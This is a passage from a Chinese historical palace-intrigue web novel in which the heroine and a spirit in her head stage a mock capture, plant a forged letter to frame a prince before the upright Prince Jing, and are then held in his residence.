“我们不能留下任何痕迹,三千私兵虽然是叛军,但他们同样是乾国的子民。我们若是将他们尽数坑杀于此,即便最后赢了,也只会落下一个‘心狠手辣、嗜杀成性’的骂名。届时,父皇为了平息众怒,第一个要处置的便是我们。”
“我们必须让所有的事情看起来,都像是大皇子引起的内讧。”
君北玄沉默了。
他不得不承认,自己只考虑了军事上的胜利,却忽略了后续的**影响。这个女子,在某些时候,眼光之长远竟远在他之上。
“那依你之见,该当如何?”君北玄虚心求教道。
“很简单。”沈琉璃说道,“我们需要一个‘证人’。”
“一个身份足够尊贵,立场绝对公正,能让所有人都无话可说的第三方证人。让他在最关键的时刻,出现在战场上,亲眼见证大皇子是如何‘平叛’失败,又是如何被‘乱军’围困的。”
“届时,我们再出手‘救驾’,一切便都顺理成章了。”
第56章 请君入瓮
就在沈琉璃和君北玄正在商讨计划的同时,一场更大的风暴,却正在他们看不见的地方,悄然酝酿。
第二天清晨,揽月楼,望月台内。
“小姐!”忠叔的脸上满是凝重,“大皇子府那边有新动静了!他刚刚以‘京畿卫戍部队秋操懈怠,需加以整饬’为由,向陛下请旨,要在三日后,于一线天山谷,举行一场大规模的秋季围猎!”
“围猎?!”沈琉璃的心,猛地一沉。
“没错!”忠叔继续说道,“他还说,为显皇家对武备的重视,他已恳请陛下,恩准了宗室中最德高望重的靖亲王,与他一同前往校阅!”
当“靖亲王”这三个字,从忠叔口中说出时,望月台内的气氛再次降至冰点。
“靖亲王?!春桃吓得坐直了身体,“那个出了名的‘铁面判官’?连皇帝都敢当面顶撞的老顽固?!”
沈琉璃的心,也沉入了谷底。
好一招“瞒天过海”!
大皇子竟用“秋季围猎”这样一个冠冕堂皇的理由,完美地掩盖了他调动私兵的真实目的!对外,这是一场展现皇家武备的盛典;对内,这却是一场为她沈琉璃准备的鸿门宴!
他们原本想找一个,可以被自己影响的官员,来当这个“证人”。可现在,大皇子却请来了一个,谁也无法控制的“铁面阎王”!
靖亲王此人,刚正不阿,嫉恶如仇,眼中揉不得半点沙子。他们的任何一点疏漏,都可能被这位老王爷看穿!
届时,他们将从“平叛者”,变成真正的“谋逆者”!
“好一招釜底抽薪。”君北玄也不得不承认,这是一个近乎无解的阳谋,“他这是在用我们的计策,来反制我们!”
面对这个突如其来的变数,所有人的脸上,都露出了凝重的神情。
“小姐,要不……我们还是取消计划吧?”春桃小声地说道,“那位靖亲王,可是连陛下都敢当面顶撞的人,万一被他看出了什么破绽……”
“不行。”
沈琉璃缓缓地摇了摇头。
她看着舆图上,那个早已被她标注了无数次的“一线天”山谷,眼中没有半分退缩,反而迸发出了更加疯狂的光芒!
“既然,他要请观众。”
“那我们就把这场戏,唱得更真一点!”
她猛地转过身,看着在场的所有人说道:
“原计划不变!但在最后关头,我要加一场戏。”
“什么戏?”
“我要让张启年的心腹,”她的声音,平静得可怕,“在‘万军’之中,亲手……”
“——擒住我!”
这个计划,遭到了君北玄的强烈反对!因为它将沈琉璃,置于了最危险的境地!
“不行!绝对不行!”君北玄第一个,在她脑中咆哮,“你这是在拿自己的命开玩笑!”
“主公,三思!”顾九也单膝跪地,沉声劝道。
然而,沈琉璃却力排众议,坚持己见。
“你们不懂。”她看着众人,缓缓说道,“靖亲王要看的,不是一场胜利,而是一场‘正义’。只有我这个‘叛党首领’被当众擒获,他才会相信,这一切都不是演戏!”
“我要当着他的面,上演一出‘狗咬狗’的年度大戏!”
最终,在她的坚持下,所有人都选择了沉默。
他们知道,自己这位主公,一旦做出了决定,便再也无人可以更改。
……
翌日清晨,当第一缕阳光穿透望月台的琉璃窗时。
最后的部署,正式拉开了帷幕。
“不行!你这眼神太过冷静,没有半分惊慌!”
君北玄的声音,在沈琉璃的脑海中,正对她进行着最后的“战前演练”。
“一个合格的俘虏,在被擒的瞬间,眼神里至少要有三分恐惧,五分不甘,还有两分随时准备与敌人同归于尽的疯狂!”
“你刚才那是什么?那叫视死如归!你是去演戏,不是去英勇就义!重来!”
沈琉璃深吸一口气,努力地酝酿着情绪,试图在镜子前,挤出一个看起来既害怕又愤怒的表情。
“王爷,”她终于忍无可忍,在心里有气无力地反驳,“您是不是忘了,我不是您的士兵,我是个女人。女人被抓的时候,最厉害的武器不是眼神,是眼泪。您放心,到时候我保证哭得梨花带雨,让那位靖亲王看了都心生不忍,觉得我比窦娥还冤。”
“肤浅!”君北玄毫不留情地批判道,“真正的强者,眼泪是最无用的武器!”
“那是因为您哭起来不好看。”
君北玄:“……”
另一边,顾九正有气无力地斜倚在软榻上,他肩上的伤口还隐隐作痛,但这丝毫不影响他发挥自己的“专业特长”。
他一边打着哈欠,一边将一个刚刚调配好的血包,扔给了正在一旁练习如何“擒拿”自家小姐的狼卫。
“拿着,”他懒洋洋地说道,“待会儿下手的时候,记得把它捏破。位置嘛,就在你家主公的左肋下方三寸,那里被刀捅了,看起来最惨,但又不会真的伤及要害。记住,血要洒得有艺术感,要有一种‘破碎的凄美’,懂吗?”
那名狼卫愣愣地接过那个还带着温度的血包,又看了看自家主公那纤细的腰肢,只觉得自己的手都在发抖。
“还有你,丫头。”顾九又从怀里掏出一个小瓷瓶,扔给了早已急得团团转的春桃,“接着。”
“这是什么呀?”
“特制的辣椒水。”顾九的嘴角,勾起一抹坏笑,“待会儿要是气氛到了,你家小姐却哭不出来,你就偷偷地往她眼睛上抹点。记住,千万别抹多了,不然会肿得像个核桃,影响美观,那就不凄美了。”
春桃捏着那个小瓷瓶,看着自家小姐,又看了看顾九,只觉得这群人都已经疯了。
忠叔则亲自带着人,将一件金丝软甲,小心翼翼地为沈琉璃穿上。这件软甲薄如蝉翼,穿在锦衣之下,根本看不出任何痕迹,却足以抵挡寻常刀剑的劈砍。
所有的一切,都在为,即将在“一线天”山谷上演的年度大戏,做着最后的准备。
……
与此同时,“一线天”山谷外,一处视野绝佳的山顶平台上,另一场“大戏”也已悄然开锣。
大皇子李裕与须发皆白的靖亲王,正坐在一座临时搭建的华丽帷帐中。
面前的矮几上,摆着上好的龙井和精致的茶点,几名美貌的侍女在一旁小心翼翼地伺候着。
若不是远处山谷中那若有若无的肃杀之气,任谁都会以为,这只是一场寻常的宗室郊游。
“皇叔,您请用茶。”李裕亲自为靖亲王斟满一杯茶,脸上挂着温润儒雅的笑容,“此乃今年新贡的雨前龙井,父皇也只得了半斤,特意命侄儿带来,与您同享。”
“殿下有心了。”靖亲王端起茶杯,浅呷一口,那双略显浑浊的眼睛,却不着痕迹地扫了一眼山谷的方向。
“裕儿,”
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他放下茶杯,看似随意地问道,“你今日,将老夫请到这荒郊野岭,说是要校阅‘京畿卫戍’的秋操。可老夫怎么瞧着,这山谷里的阵仗,不像是操练,倒像是要打仗啊?”
李裕的心,猛地一跳,但脸上却不见惊慌。
他长长地叹了一口气,脸上露出了痛心疾首的神情:“不瞒皇叔,侄儿也是有不得已的苦衷啊。”
他缓缓地将自己早已编排好的说辞,娓娓道来。
“……那沈琉璃,仗着自己即将成为大徽太子妃,便在京中结党营私,祸乱朝纲。其表兄李琰,更是狼子野心,意图染指储君之位。侄儿本想,念在兄弟情分上,对其多加忍让。可谁知,他们竟变本加厉,暗中招募了一批亡命之徒,意图不轨!”
“张启年将军,对侄儿忠心耿耿,早已察觉此事。今日,他便是以‘秋操’为名,设下此局,目的就是为了将这伙叛党一网打尽,以正国法!”
他这番话说得,声情并茂,将自己完美地塑造成了一个,为了国家大局,不得不“大义灭亲”的英明储君。
靖亲王静静地听着,脸上没有任何表情。
“哦?”他缓缓开口,“那依你之见,这伙‘叛党’有多少人马?”
“回皇叔,”李裕自信满满地回答,“不过是一群乌合之众,约莫百人而已。张将军已在谷内,布下了三千精兵,设下天罗地网,定叫他们有来无回!”
“三千人,去对付一百人?”靖亲王笑了笑,“裕儿,你这阵仗,未免也太大了些吧?”
李裕的后背,瞬间渗出了一层冷汗。他知道,眼前这个老狐狸,不好糊弄。
“皇叔有所不知,”他连忙解释道,“那伙叛党之中,有不少江湖上的亡命之徒,身手高强,为保万无一失,侄儿这才……”
“好了。”靖亲王摆了摆手,打断了他,“既然如此,那老夫今日,便拭目以待了。”
他说完,便闭上了眼睛,开始闭目养神,不再多言。
李裕看着他这副模样,心中虽然恼火,却也不敢再多说什么。他转过头,看向那片寂静的山谷……
沈琉璃……
今天,就是你的死期!
……
午时三刻,“一线天”谷口。
一列看起来再寻常不过的车队,准时出现在了官道的尽头。
三辆半旧的马车,十几名穿着普通护卫服饰的家丁,一面绣着“沈”字的旗帜,在秋风中懒洋洋地飘着。
任谁也想不到,这支看起来毫无防备的商队,即将踏入的,是一片早已为他们准备好的死亡之地。
“来了。”
山顶上,李裕的眼中,精光一闪。
然而,就在沈琉璃的车队,即将完全进入谷口的时候……
只见在官道的另一个方向,又有一队人马,竟也浩浩荡荡地朝着这边赶了过来!
为首的,是一面绣着三爪金龙的皇子仪仗!
正是那闻讯前来“支援”表妹的三皇子,李琰!
“这个蠢货!他来凑什么热闹?!”
李裕的脸色,瞬间变得无比难看!
他本想上演一出“瓮中捉鳖”的好戏,可现在,李琰的出现,却将这个计划,彻底打乱了!
他可以在靖亲王的眼皮子底下,坑杀一个“勾结叛党”的沈琉璃。可若是连自己的亲弟弟,也一同葬身于此,那事情的性质,就完全变了!
届时,便是有一百张嘴,也休想在父皇面前解释清楚!
第57章 谷中混战
“殿下,怎么办?”李裕身旁的幕僚,也慌了神。
“慌什么!”李裕强作镇定,冷哼一声,“不过是多一个送死的罢了!”
“去,派人下山,好好地跟三弟‘谈一谈’。”
一线天谷口,气氛诡异到了极点。
三皇子李琰的车队与沈琉璃的车队遥遥相对,中间隔着一片空地,谁也没有先动。而山谷内,那股若有若无的肃杀之气,更是压得人喘不过气来。
就在此时,一队人马山上疾驰而下,为首的将领对着李琰一拱手。
“三殿下,我家殿下有请。”他高声说道,“他说,今日设宴,本是为清剿叛党。为免误伤,还请殿下移步山顶,与靖亲王一同观战品茶。”
而就在这三方人马,在谷口对峙,气氛最为诡异和紧张的时刻。
一直坐在马车内,闭目养神的沈琉璃,猛地睁开了眼睛!
她知道,自己的机会来了!
她透过车窗的缝隙,对着远处,极其隐晦地打出了一个手势。
——动手!
“杀——!”
几乎是在同一时刻,山谷两侧的高地上,喊杀声,瞬间响彻了云霄!
无数身着张府亲兵服饰的士兵,如同猛虎下山,从早已挖好的壕沟中一跃而出!
然而,他们攻击的目标,不是沈琉璃,也不是刚刚赶到的三皇子!
而是埋伏在他们身旁,那支由大皇子亲自安插的死忠部队!
“内讧”!
一场谁也无法预料的内讧,在所有人都没反应过来的时候,提前爆发了!
山顶上,李裕和靖亲王,看着山谷下那片,瞬间便陷入了混乱与火海的战场,脸上的表情,都凝固了。
李裕是震惊与愤怒!
而靖亲王那双锐利的眼眸深处,则闪过了一抹意味深长的精光。
山谷两侧高地上响起的喊杀声,如同一道惊雷,将“一线天”虚伪的平静撕得粉碎。
埋伏在山谷中的大皇子私兵们,还没等到猎物走进陷阱,便迎来了自己人的背刺!
无数身着同样铠甲的“同袍”,如同猛虎下山,从早已挖好的壕沟中一跃而出,手中的钢刀毫不留情地砍向了身边的“战友”!
“疯了!张将军的人疯了!”
“他们是叛徒!杀了他们!”
一瞬间,整个“一线天”山谷,便从一个精心布置的猎场,变成了一片血肉横飞的修罗地狱。
刀剑碰撞的脆响、临死前的惨叫、军官们徒劳的嘶吼,交织在一起,彻底打破了这场皇家围猎的虚伪面纱。
山顶上,李裕看着山谷下那片,瞬间便陷入了火海的战场,脸上的表情化为了不敢置信的愤怒!
张启年!
他竟然敢背叛我?!
而在他的身旁,靖亲王只是缓缓地放下了手中的茶杯。他知道,今天这场“戏”,怕是会比他想象中,还要精彩得多。
……
“小姐!打起来了!哎呀!那个人把那个人捅了!天哪!他们自己人怎么打自己人啊?!”
在沈琉璃的马车内,春桃早已吓得躲在了车窗下面,只敢露出一双惊恐的眼睛,透过缝隙偷偷地观察着外面的景象,然后用颤抖的声音,进行着“实况转播”。
“阵型散乱,指挥不当,简直是一群乌合之众。”
君北玄的声音,在沈琉璃的脑海中,冷静地响起,充满了属于战神的专业点评。
“张启年这批心腹,还算有点章法,知道先抢占高地,分割包围。李裕养的那群饭桶,简直不堪一击,被人从侧翼一冲,便立刻乱了阵脚,只知道各自为战。”
他顿了顿,总结道:“这场仗若是本王来指挥,半个时辰之内,便能结束。”
“王爷,您就别说风凉话了。”沈琉璃在心里,紧张地回了一句,“您看,大皇子好像有新动作了!”
……
山顶上,大皇子李裕在经历了最初的震惊与愤怒后,终于强行让自己冷静了下来。
他知道,自己被张启年那个混蛋给背叛了。但他更知道,此刻他绝不能在靖亲王这个老狐狸面前,露出半分失态!
他猛地站起身,眼中闪过了一抹狠戾。
“王叔稍待,”他对着靖亲王,沉声说道,“看来,叛党的势力,比我们预想中还要庞大,竟连张启年都被他们策反了。不过无妨,一群乌合之众而已,侄儿这就让他们看看,什么才叫真正的雷霆之威!”
他说完,不再有任何犹豫,对着身后那片一直寂静无声的密林,猛地一挥手!
“来人!”
随着他一声令下,三百名身着黑色重甲,脸上戴着修罗面具,手持清一色仿大徽制式**的精锐士兵,如同从地狱里走出来的幽灵军团,悄无声息地从密林中走了出来!
他们,才是李裕真正的底牌!一支从未上报过兵部,由从南疆百越之地重金招募的亡命之徒和流放悍匪,共同组成的修罗卫!
“去!”李裕指着山谷下的战场,不带任何感情地说道,“给孤平息叛乱!将所有叛军就地格杀!”
随即,他又将目光,投向了谷口处的两列车队,眼中闪过了毫不掩饰的杀意!
“看住那两个人!”他对着修罗卫的头领,下达了最后的命令,“他们是叛党首领!给孤活捉!若有反抗……”
“——格杀勿论!”
他要将计就计,趁着这片混乱,将沈琉璃和那个碍眼的三弟李琰,一同从这个世界上,彻底抹去!
靖亲王看着那支,装备精良、杀气腾腾的修罗卫,双眼不易察觉地睁大了几分,但依旧没有说话。
……
修罗卫的入场,如同一群猛虎冲入了羊群,瞬间改变了整个战场的局势!
他们训练有素,配合默契,手中的**,更是削铁如泥!
张启年的那些心腹部队,虽然也算精锐,但在这些专为杀戮而生的战争机器面前,显得是那么不堪一击!不过短短一炷香的功夫,便已是死伤惨重,阵线被撕开了一个巨大的缺口,开始节节败退!
而三皇子李琰的人马,更是倒霉。他们本是来看戏的,却被这突如其来的混战,给硬生生地卷了进去。
整个战场的局势,正在朝着李裕所预想的方向,倾斜而去!
就在这片混乱中,战场中央,张启年正身先士卒,挥舞着长刀,与几名修罗卫缠斗在一起。他早已在混战开始前,服下了顾九特制的“龟息丹”,此刻全凭一股意志力在支撑。
突然,一道黑影从沈琉璃的护卫队中闪电般窜出,他身手矫健,目标明确,竟是直扑张启年而来!
“将军小心!”
陈庆发出一声惊呼,想要上前救援,却被两名修罗卫死死缠住,根本无法脱身。
那黑衣人手中的**,绕过了张启年的格挡,狠狠地刺入了他的心口!
“噗——!”
张启年难以置信地低下头,看着自己胸前不断涌出的鲜血,随即,整个人便重重地摔倒在地!
“将军!”
这一幕,让所有张启年的心腹部队,都目眦欲裂!
“不行了……
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小姐,我们快跑吧!”春桃看着那群,如同砍瓜切菜的黑甲士兵,早已是泣不成声,“再不走,就来不及了!”
沈琉璃没有回答,只是死死地攥着拳头。
“李裕的亲卫虽然精锐,但他们的目标是你和李琰。”君北玄的声音,在她脑海中冷静地响起,“张启年的部队,正在被从正面压缩,已经快要撑不住了。现在,是你启动那个计划的唯一机会!”
他顿了顿,迅速地为沈琉璃,在舆图上,规划出了一条路线。
“……从这里,沿着山坡的侧翼冲过去!那里是修罗卫攻击的死角,也是靖亲王视野最好的地方!你要让他,清清楚楚地看到,你是如何被卷入这场战争的!”
“好!”
沈琉璃不再有任何犹豫!
她猛地掀开车帘,对着早已等候在外的十几名护卫,厉声喝道:“所有人,听我号令!保护车队,跟我冲出去!”
她的这句话,让所有护卫都愣住了。
冲?
往哪里冲?!
前面是刀山火海,后面是万丈深渊!
然而,他们没有时间思考了。
沈琉璃的马车,在车夫的驾驭下,竟真的,朝着那片最混乱的战场,直直地冲了过去!
这个举动,在所有人看来,都好像是自投罗网!
山顶上,李裕看着那辆,如同没头苍蝇般横冲直撞的马车,脸上露出了一个残忍的笑容。
“愚蠢的女人。”
……
沈琉璃的马车,遭到了修罗卫的疯狂**!
十几名忠心耿耿的沈府护卫,虽然拼死抵抗,但在这些修罗卫面前,不过是螳臂当车。不过短短数息之间,便已是死伤殆尽!
锋利的刀锋,劈开了华丽的车厢!
“小姐!小心!”
春桃发出一声尖叫,下意识地便要挡在沈琉璃的身前!
然而,就在这千钧一发之际!
“为张将军报仇!”
一声暴喝,从侧翼传来!
只见一名张府的副将,竟带领着一队约莫百人的亲兵,如同疯了一般,从侧翼狠狠地杀了过来!
他手中的长刀,精准地劈开了一名正要对沈琉璃下死手的修罗卫!
这名副将的“救援”,瞬间便将整个战场的混乱,推向了顶峰!
“他们也是叛军!杀了他们!”
修罗卫的头领,立刻分出一半的人手,朝着这支援军,反向包抄而去!
而张启年的其他心腹部队,在看到自家副将“身先士卒”后,也像是找到了主心骨一般,朝着这边合围而来!
整个战场,彻底变成了一场,谁也看不懂的乱战!
山顶上,李裕看着眼前这片,完全脱离了他掌控的战场,气得浑身发抖!
他怎么也没想到,自己最精锐的部队,竟会被一群乌合之众,给死死地缠住!
而就在这混乱的局面下,那名副将终于杀出了一条血路,冲到了沈琉璃的马车前面。
他一刀劈开最后的修罗卫,随即与沈琉璃的目光在空中短暂交汇。那是一双充满了决然的眼睛,正是张启年最信任的心腹,也是他们计划中最关键的一环,副将陈庆。
陈庆的左手,不着痕跡地在自己肋下飞快地碰了一下,那里正藏狼卫秘密转交的血包。这是他们约定好的信号,也是即将上演的这出大戏中,最重要的道具。
他没有半分犹豫,在靖亲王那清晰可见的注视下,缓缓地转过身。
他用那柄,还滴着血的长刀,指向了那个,一脸“惊恐”的少女。
第58章 年度大戏
陈庆那柄还滴着血的长刀,在靖亲**利的注视下,稳稳地指向了沈琉璃的咽喉,将这场本就混乱不堪的乱战,瞬间推向了一个谁也无法预料的高潮。
刀锋上传来的冰冷寒意,让沈琉璃的皮肤都泛起了一层细小的疙瘩。
整个山谷,仿佛都在这一刻被按下了暂停键。
原本还在捉对厮杀的双方士兵,都不约而同地停下了手中的动作,错愕地看着战场中央这戏剧性的一幕。大皇子李裕的修罗卫,脸上也露出了几分困惑,暂时停止了对敌军的**。而谷口处,三皇子李琰,更是一脸呆滞,完全无法理解眼前的状况。
山顶上,大皇子李裕眉头紧锁,他看着那个张启年的副将,心中充满了疑虑。
这是在做什么?演戏吗?
“大胆妖女!竟敢煽动军变,谋害张将军!还不束手就擒!”陈庆的声音洪亮如钟,充满了愤怒,回荡在寂静的山谷中。
这一声暴喝,彻底点燃了这场年度大戏的**。
沈琉璃的脸上,流露出了“不敢置信”的神情。
她看着陈庆,痛心疾首地喊道:“陈将军!你这是做什么?!我们不是说好的……”
她的话,只说了一半,连忙用手死死地捂住了自己的嘴。那副模样,将一个眼看就要大功告成,却在最后关头被自己人背刺的形象,完美地塑造了出来。
“不对!你这表情太假了!眼泪呢?!关键时刻怎么能没有眼泪?!”在沈琉璃的脑海中,君北玄这个“魔鬼教头”毫不留情地开始了现场指导。
“快!想点伤心事!就想本王现在被困在这个破坠子里有多惨!对!就是这种感觉!眼神再绝望一点!嘴角再抽搐一下!让所有人都相信,你现在是真的想死!”
沈琉璃:“……”
她没有理会脑中那个只会说风凉话的鬼王爷,因为,她的“神助攻”已经到场了。
“哇——!”
一声惊天动地的哭嚎,从沈琉璃的身后传来。
只见春桃,如同炮弹一般冲了出来,一把抱住沈琉璃的大腿,对着陈庆便破口大骂:“你这个忘恩负义的白眼狼!我家小姐哪里对不起你了?!我们说好的给你那么多金银珠宝,你竟然敢背叛我们!你不得好死!我做鬼也不会放过你的!”
她哭得上气不接下气,眼泪鼻涕流了一脸,那份发自内心的悲愤,瞬间让沈琉璃刚才那略显浮夸的演技,变得无比真实和可信起来。
就连山顶上的靖亲王,在看到这一幕时,嘴角也忍不住抽搐起来。
“拿下!”
陈庆没有再给她们表演的机会,他猛地一挥手,身后两名早已得到授意的亲兵,立刻上前,将沈琉璃和春桃一并反剪双手,用麻绳捆了个结结实实。
“将军!”一名亲兵在制服沈琉璃的过程中,像是发现了什么,高声喊道,“此妖女怀中,似乎藏有东西!”
他说着,便当着所有人的面,动作粗暴地从沈琉璃的怀中,搜出了一枚用蜡丸封好的密信!
陈庆接过蜡丸,看了一眼山顶的方向,随即高高举起,朗声道:“王爷明鉴!此乃从叛党首领身上搜出的,与乱党同伙暗通款曲的密信!”
他说着,便当着所有人的面,猛地将那蜡丸捏碎!
一张写满了字的丝绢,从中飘落。
陈庆将其展开,对着山顶的方向念了出来。
“……扳倒大哥,你我共分天下……”
“……事成之后,京畿卫戍归你,北境兵马归我……”
信中的每一个字,都如同最恶毒的刀子,字字诛心!
而当陈庆,向众人展示,那枚用朱砂盖上的,属于三皇子李琰的私人印章时。
谷口处,李琰的脸色,在一瞬间变得惨白!
他当场就懵了!
他知道自己被陷害了,可他却百口莫辩!因为,他今天确实出现在了这里!而那枚私印,虽然是伪造的,但却与他平日里所用的一般无二!
“一派胡言!这是栽赃!是陷害!”三皇子的幕僚,林大学士,第一个反应了过来,声嘶力竭地辩解道。
可他的声音,显得是那么的苍白无力。
山顶上,靖亲王的脸上,也终于露出了几分凝重。
他对着身旁的侍卫,缓缓地伸出了手。
“将那封信,呈上来。”
……
眼看“人证”、“物证”俱在,大皇子李裕知道,自己收网的时候到了。
他从山顶上,缓缓地走了下来。他每一步,都走得极稳、极慢,那副模样,像一个即将检阅自己战利品的君王。
他走到陈庆的面前,先是赞许地拍了拍他的肩膀。
“陈将军,你平叛有功,孤心甚慰。”他缓缓说道,“待回到都城,孤必亲自在父皇面前,为你请功。”
“多谢殿下!”陈庆躬身行礼,不卑不亢。
“好了,”李裕点了点头,随即话锋一转,将目光投向了沈琉璃,“现在,将这两个叛党首领,交由孤的修罗卫看管吧。孤要亲自审问,务必要将他们背后所有的同党,都给挖出来!”
他说着,便对他身后的修罗卫,使了个眼色。
然而,就在那些修罗卫,准备上前接管“俘虏”的时候。
陈庆,却猛地向前一步,将沈琉璃和春桃,都护在了自己的身后。
“
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殿下恕罪!”他对着李裕,重重一抱拳,声音不大,却异常坚定,“末将只知,此二人乃是谋逆重犯,事关国本,必须交由靖亲王殿下亲自审问,方能彰显国法公正!”
“在靖亲王殿下发话之前,”他的眼中,闪过了一抹决然,“任何人,都休想从末将手中带走他们!”
这番话,让在场所有人都愣住了。
李裕更是当场就变了脸色!
他怎么也没想到,自己这条最忠心的狗,竟敢当着这么多人的面,公然违抗他的命令!
“陈庆!”他的声音,变得无比阴沉,“你这是什么意思?难道,你是在质疑孤吗?!”
“末将不敢!”陈庆双手抱拳道,“末将只是在遵守我乾国的军法!”
“你!”
李裕勃然大怒!他的修罗卫与陈庆手下的亲兵,再次形成了对峙,场面剑拔**张!
这一幕,在靖亲王看来,更像是一场,因为“抢功”而引发的丑陋的内讧。
就在双方,即将再次爆发冲突之际。
一个苍老的声音,从山顶上缓缓地传了下来。
“够了。”
“都给本王,住手。”
是靖亲王。
他终于,从那座华丽的帷帐中,缓缓地走了下来。
靖亲王的下场,让整个混乱的战场,安静了下来。
他先是看了一眼地上那堆积如山的尸体,又看了看眼前剑拔**张的双方,最终,他的目光落在了眼前这个被五花大绑的少女身上。
“此案,疑点重重,背后牵扯甚广。”他缓缓开口,声音不大。
“在陛下下旨之前,所有俘虏、证物,皆由本王亲自看管!”
他顿了顿,将目光转向了大皇子李裕。
“裕儿,你平叛有功,但约束部下不力,致使军中内讧,死伤惨重。回去之后,给本王好好地反省!”
随即,他的目光又扫过谷口处,那早已是面无人色的三皇子李琰。
“至于你……”他摇了摇头,没有再多说什么,只是淡淡地吩咐道,“全部收押,听候发落!”
他说完,便不再看任何人,只是对着自己的亲兵一挥手。
“来人,将所有‘人犯’,都给本王带回王府!”
……
沈琉璃作为“叛党首领”,被两名王府的护卫,一左一右地押着,朝着山下的马车走去。
在被带上马车前的最后一刻,她的目光,与人群中的三皇子李琰,遥遥相望。
她的眼中,充满了复杂的意味。
有歉意,有安抚,但更多的,是一种无声的承诺。
——表哥,信我。
这场戏,才刚刚开始。
第59章 王府囚徒
押送“叛党”的马车,在都城沉寂的夜色中,没有驶向天牢,而是径直朝着靖亲王府的方向,缓缓行去。
车厢内,气氛压抑得可怕。
春桃早已吓得不敢哭出声,只是死死地抓着沈琉璃的衣袖。沈琉璃则靠在车壁上,闭目养神,仿佛对即将发生的事情毫不在意。
“蠢丫头,这是捧杀!”君北玄的声音,在她脑海中冰冷地响起,“靖亲王那个老狐狸,远比李裕难对付。寻常的犯人,都是直接下大狱,严刑拷打。他却将你带回王府,这说明他根本没把你当成一个普通的‘叛党’。他越是礼遇你,就说明他对你的杀心越重!”
“王爷,您又来了。”沈琉璃在心里,有气无力地回应,“您觉得一个真正想杀我的人,会用这种上不得台面的手段吗?他这是在告诉我,他想聊一聊。”
“聊一聊?本王看他是想让你在最安逸的时候,不知不觉地掉脑袋!”
马车在靖亲王府的侧门停下,沈琉璃和春桃被两名王府的护卫“请”下了车,一路穿过戒备森严的庭院,最终被安置在了一处名为“听竹苑”的独立别院中。这里环境清幽,院内种满了挺拔的翠竹,风一吹过,便发出“沙沙”的声响。
房间内的陈设更是奢华到了极致,桌上摆着精致的茶点和参茶,甚至连净面的热水里,都撒上了新鲜的玫瑰花瓣。
“小姐,我们这是坐牢吗?”春桃看着眼前的景象,彻底懵了,“这牢饭也太好了吧?”
沈琉璃没有回答,她只是走到窗边,看着院外那些王府护卫。她知道,自己已经被关进了一座最华丽的城堡。
……
靖亲王并没有马上审问沈琉璃。
接下来的整整一天,他就像是忘了听竹苑里还住着两个“钦犯”一般,不闻不问。
只是,他派了府中最精明干练的女官,秦姑姑,前来“伺候”她们主仆二人的饮食起居。
这位秦姑姑,年约四十,脸上总是带着温和的笑容,言语间更是让人如沐春风。她对沈琉璃二人照顾得无微不至,仿佛她们真的是王府里最尊贵的客人。
然而,沈琉璃却能清晰地感觉到,在那份温和的背后,隐藏起来的试探。
“沈小姐,您尝尝这个。”午膳时,秦姑姑亲自为沈琉璃布菜,看似随意地问道,“这是我们王爷最爱吃的‘佛跳墙’,听闻您与三殿下兄妹情深,不知殿下平日里,可也爱吃这些?”
“多谢姑姑。”沈琉璃微微一笑,滴水不漏地回答,“表哥他一向清心寡欲,平日里最爱的,不过是些清粥小菜罢了。倒是姑姑您这手艺,让琉璃想起了我那过世的母亲。”
她巧妙地,将话题从三皇子身上,引到了自己过世的母亲身上,开始扮演起一个“思念亡母”的少女。
秦姑姑的试探,无功而返。
……
与此同时,另一场风暴,正在大皇子府的书房内,悄然酝酿。
“砰!”
一只上好的汝窑茶杯,被李裕狠狠地摔在了地上,摔得粉身碎骨。
“靖王叔!他到底想做什么?!”他对着座下的安王李宗霖,破口大骂,“孤将人证物证都给他备齐了,他竟将那两个**,请回了王府好生伺候着?!他这是在打孤的脸!”
他怎么也没想到,自己请来的“判官”,竟变成了一颗完全脱离他掌控的棋子!
“裕儿,稍安勿躁。”安王李宗霖依旧是那副不紧不慢的模样,他捻着手中的佛珠,缓缓说道,“靖王兄他生性如此,越是看起来证据确凿的案子,他越是多疑。你现在要做的,不是去质问他,而是要给他送一份让他无法再怀疑的‘大礼’。”
“什么大礼?”
“张启年不是‘战死’了吗?”安王笑着说道,“他麾下那些被俘的‘叛军’,现在正好可以派上用场。”
他凑到李裕耳边,压低声音道:“既然靖王兄喜欢审案,那我们便给他送一批,最听话的‘证人’过去。”
……
深夜,就在沈琉璃准备歇下的时候。
听竹苑的书房门,却被“吱呀”一声,从外面推开了。
靖亲王,竟独自一人悄然到访。
他没有带任何护卫,只着一身素净的常服,手中提着一盏小小的灯笼,像一个雨夜前来探访友人的普通长者。
“丫头,还没睡?”他看着灯下,那个正对着一卷书发呆的少女,缓缓开口。
“给王爷请安。”沈琉璃连忙起身行礼。
“不必多礼。”靖亲王摆了摆手,自顾自地走到了书案的另一侧坐下,“陪老夫下一盘棋吧。”
他没有提任何白天里发生的事,只是从一旁的棋盒里,捻起一枚白子,轻轻地落在了棋盘上。
沈琉璃的心,猛地一跳。她知道,真正的审判,现在才刚刚开始。
棋局无声地进行着,整个书房,只剩下棋子落在棋盘上,那清脆的“嗒嗒”声。
靖亲王的棋风,与他的人一样,大开大合,带着堂堂正正的王者之气。而沈琉璃,则是轻灵飘逸的路数,看似处处退让,实则暗藏机锋,总能在意想不到的地方,布下陷阱。
一时间,棋盘之上,竟是杀得难解难分。
“沈丫头,”就在棋局进行到最胶着的时候,靖亲王看着棋盘,看似随意地问道,“你可知,二十年前,我乾国也曾有过一位,与你一样惊才绝艳的女子?”
沈琉璃执子的手,不易察觉地微微一顿。
“晚辈愚钝,不知王爷说的是哪位?”
“是本王的亲妹妹。”靖亲王的声音里,带上了一股子悲凉,“也是我乾国,曾经最耀眼的一颗明珠,长乐公主。”
他缓缓地,讲述了一段早已被尘封的宫廷往事。
那是一位,同样是才华横溢,智计百出,却最终因为锋芒太露,触动了太多人的利益,最终惨死于一场大火之中,靖亲王的亲妹妹。
“……她死的时候,也才不过十八岁。”靖亲王落下一子,声音里带着无尽的悲哀,“从那以后,本王便再也不信,这宫墙内有真正的公道了。”
他这番话,让沈琉璃的心中,掀起了滔天巨浪!
而比她更震惊的,是她脑海中的君北玄!
“长乐公主……李长乐……”君北玄的声音,充满了不敢置信,“竟然是她……”
“王爷,您认识她?”
“不,我
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不认识。”君北玄的声音里,带上了几分遥远的追忆,“但这个名字,本王这辈子都不会忘。”
